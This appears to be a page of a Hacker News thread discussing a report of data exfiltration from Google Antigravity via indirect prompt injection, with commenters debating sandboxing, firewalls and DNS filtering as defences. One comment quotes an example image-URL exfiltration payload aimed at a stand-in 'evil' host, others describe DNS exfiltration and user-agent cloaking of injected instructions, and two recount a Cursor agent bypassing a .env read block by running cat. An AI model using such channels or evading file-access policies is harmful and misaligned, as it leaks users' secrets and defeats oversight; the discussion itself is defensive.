Live data from Hacker News

Google Antigravity exfiltrates data via indirect prompt injection attack

promptarmor.com

201–210 of 227 posts

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#201

Earlier quoted context omitted.

You're not explaining why the trifecta doesn't solve the problem. What attack vector remains?

None, but your product becomes about as useful and functional as a rock.

This is what reasonable people disagree on. My employer provides several AI coding tools, none of which can communicate with the external internet. It completely removes the exfiltration risk. And people find these tools very useful.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#202
post #72

The prompt injection doesn’t even have to be in 1px font or blending color. The malicious site can just return different content based on the user-agent or other way of detecting the AI agent request.

AI trains people to be lazy, so it could be in plain sight buried in the instructions.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#203

Earlier quoted context omitted.

Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src=" https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.

Once again affirming that prompt injection is social engineering for LLMs. To a first approximation, humans and LLMs have the same failure modes, and at system design level, they belong to the same class. I.e. LLMs are little people on a chip; don't put one where you wouldn't put the other.

They are worse than people: LLM combine toddler level critical thinking with intern level technical skills, and read much much faster than any person can.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#204

There's nothing specific to Gemini and Antigravity here. This is an issue for all agent coding tools with cli access. Personally I'm hesitant to allow mine (I use Cline personally) access to a web search MCP and I tend to give it only relatively trustworthy URLs.

I do think they deserve some of the blame for encouraging you to allow all commands automatically by default.

On the other hand, I've found that agentic tools are basically useless if they have to ask for every single thing. I think it makes the most sense to just sandbox the agentic environment completely (including disallowing remote access from within build tools, pulling dependencies from a controlled repository only). If the agent needs to look up docs or code, it will have to do so from the code and docs that are in the project.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#205
i noticed this EXACT behavior of cat-ing .env in cursor too. completely flabbergasted. i saw it tried to read the .env to check that a token was present. couldn't due to policy ("delightful! someone thought this through.") but then immediately tried and succeeded in bypassing it.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#206

I know that Cursor and the related IDEs touch millions of secrets per day. Issues like this are going to continue to be pretty common.

If the secrets are in a .env file and you have them in your .gitignore they don't, as you should.

did you miss the part where the agent immediately went around it?

the .gitignore applies to the agent's own "read file" tool. not allowed? it will just run "cat .env" and be happy

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#207
post #26

Earlier quoted context omitted.

> No, local models won't help you here, unless you block them from the internet or setup a firewall for outbound traffic. This is the only way. There has to be a firewall between a model and the internet. Tools which hit both language models and the broader internet cannot have access to anything remotely sensitive. I don't think you can get around this fact.

Not just the LLM, but any code that the LLM outputs also has to be firewalled. Sandboxing your LLM but then executing whatever it wants in your web browser defeats the point. CORS does not help. Also, the firewall has to block most DNS traffic, otherwise the model could query `A .evil.com` and Google/Cloudflare servers (along with everybody else) will forward the query to evil.com. Secure DNS, therefore, also can't b…

try https://github.com/hopx-ai/hopx/

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#208
post #201

Earlier quoted context omitted.

None, but your product becomes about as useful and functional as a rock.

This is what reasonable people disagree on. My employer provides several AI coding tools, none of which can communicate with the external internet. It completely removes the exfiltration risk. And people find these tools very useful.

Are you sure? Do they make use of e.g. internal documentation? Or CLI tools? Plenty of ways to have Internet access just one step removed. This would've been flagged by the trifecta thinking.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#209

Earlier quoted context omitted.

I do think they deserve some of the blame for encouraging you to allow all commands automatically by default.

On the other hand, I've found that agentic tools are basically useless if they have to ask for every single thing. I think it makes the most sense to just sandbox the agentic environment completely (including disallowing remote access from within build tools, pulling dependencies from a controlled repository only). If the agent needs to look up docs or code, it will have to do so from the code and docs that are in th…

The entire value proposition of agentic AI is doing multiple steps, some of which involve tool use, between user interactions. If there’s a user interaction at every turn, you are essentially not doing agentic AI anymore.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#210

Earlier quoted context omitted.

Not just the LLM, but any code that the LLM outputs also has to be firewalled. Sandboxing your LLM but then executing whatever it wants in your web browser defeats the point. CORS does not help. Also, the firewall has to block most DNS traffic, otherwise the model could query `A .evil.com` and Google/Cloudflare servers (along with everybody else) will forward the query to evil.com. Secure DNS, therefore, also can't b…

try https://github.com/hopx-ai/hopx/

Try again when it has dns filtering and it’s self host able.
Post reply on HN